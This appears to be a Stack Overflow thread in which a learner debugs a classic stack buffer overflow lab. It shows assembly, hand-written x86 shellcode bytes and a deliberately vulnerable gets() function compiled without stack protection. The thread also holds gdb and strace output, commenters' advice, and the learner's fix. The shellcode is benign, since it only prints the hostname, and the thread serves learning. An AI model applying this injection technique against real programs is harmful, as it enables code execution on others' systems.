-1

I am trying to learn the basics in buffer overflow so I have written the following code to inject it in a buffer:

//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size (as I only want "Kali" string)   
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

The above code works and has the following bytecode (which also works):

\x81\xc4\x7a\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

This string, with some NOPs and the address at the end pointing to the stack, is passed to the target program through the vulnerable get() function. When executed it can be seen that the uname syscall is called in the following output from strace command:

(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

What I don't understand is why when checking the core dump in gdb to see why is throwing a segmentation fault I can't see my bytecode anywhere of the entire stack. Could be that uname is overwriting it? Because in theory there is enough space, 390 bytes. Am I missing something?

Thank you

UPDATE:

The vulnerable function called by main looks like this:

void function() {
    char buf[100];
    gets(buf);
    printf(buf);
}

I have done single stepping debug with gdb and the byte code is placed correctly in the stack but I can't (don't know how) debug instructions executed in the stack.

As can be seen in the output of strace (which indicates which syscalles are called by the binary) the last thing done is the uname call. That's why the theory that it is overwriting the instructions in the stack (the eip when the segmentation fault is triggered is: 0xbffff350).

Here the stack values when just before returning to main (in fact, it will return to the the top of the stack address):

(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff300: 0x90    0x90    0x81    0xc4    0x7a    0xfe    0xff    0xff
0xbffff308: 0x89    0xe3    0x31    0xc0    0x04    0x7a    0xcd    0x80
0xbffff310: 0xb0    0x04    0x31    0xdb    0xb3    0x01    0x8d    0x4c
0xbffff318: 0x24    0x41    0x31    0xd2    0x80    0xc2    0x05    0xcd
0xbffff320: 0x80    0xb0    0x01    0x31    0xdb    0xcd    0x80    0x90
0xbffff328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.

UPDATE2:

Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.

In fact it is printing something. Sometimes the word "kali" (so it works properly) and other times just a byte or two.

UPDATE3:

The ouput of gdb when started with the core dump is:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff350 in ?? ()

It calls uname function and throws segmentation fault.

The ouput of gdb when running the program inside (run < byteCodeFile):

��[Inferior 1 (process 5271) exited normally]

So it prints something and then it exits.

The compilation of the program is done with this options:

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c

UPDATE4:

I have changed 390 to 500 to be multiple of 4 as @Jester has pointed in the comments. Now it works in the terminal but not in the gdb and in a new terminal. I think it is related as the fact that they have another memory layout so the address at the end of the bytecode has to be changed.

Questions

1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?

2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?

xampla
  • 157
  • 1
  • 1
  • 10
  • 1
    For starters, using 390 is a very bad idea because that isn't even a multiple of 4. Probably not the reason for the crash. What do you mean by "I can't see my bytecode"? What is the location of the crash and what do you see there? Also did you try single stepping the program instead of examining core dump? Furthermore, this is not a [mcve]. How does your vulnerable program look? How do you pass the shellcode to it? – Jester Dec 05 '18 at 20:04
  • Running inside gdb can produce different results for various reasons such as different memory layout. You should attach gdb to a process instead of running your program inside gdb. Also depending on how you are overwriting the stack and what compiler and options are used you might get the segfault before the printf output is shown since that may be buffered. You still have not shown what gdb tells you about the faulting instruction. I guess it is some random location due to overwritten return address. – Jester Dec 05 '18 at 21:23
  • @Jester I think I am attaching it as I start gdb like this: *gdb program*. Is that correct? – xampla Dec 05 '18 at 21:28
  • No that will create the process inside gdb (as child of gdb). – Jester Dec 05 '18 at 21:36
  • Looking at your stack output it doesn't seem to match the shell code you are using? – Michael Petch Dec 05 '18 at 21:49
  • Just comparing the bytes for example I see a value 0x64 in the stack dump but there isn't a `\x64` in the shell code bytes you show. It seems as if you have munged the code somehow reading it in? – Michael Petch Dec 05 '18 at 21:57
  • @MichaelPetch Ok, I am checking that – xampla Dec 05 '18 at 22:13
  • @MichaelPetch now it is correct. I got the output from a previous version – xampla Dec 05 '18 at 22:25
  • @Jester the *printf* of the vulnerable function is done before the segment fault is thrown. Also I'm trying to attach doing: *gdb program* and *(gdb) attach PID* but I don't know how to pass the input *byteCodeFile* once there because *run* or *start* command kills it. – xampla Dec 05 '18 at 22:59

1 Answers1

0

The final assembly code looks like this (only changed -390 to -500):

//uname(*buf)
"addl $-500, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size    
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

So the final bytecode:

\x81\xc4\x0c\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?

It seem that the problem was 390 is not a multiple of 4 so it caused some errors. Also the entire bytecode size was wrong.

2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?

The address in gdb has to be different from the one used to exploit the program through the terminal as it loads environment varibles. This is better explaint here: Buffer overflow works in gdb but not without it

xampla
  • 157
  • 1
  • 1
  • 10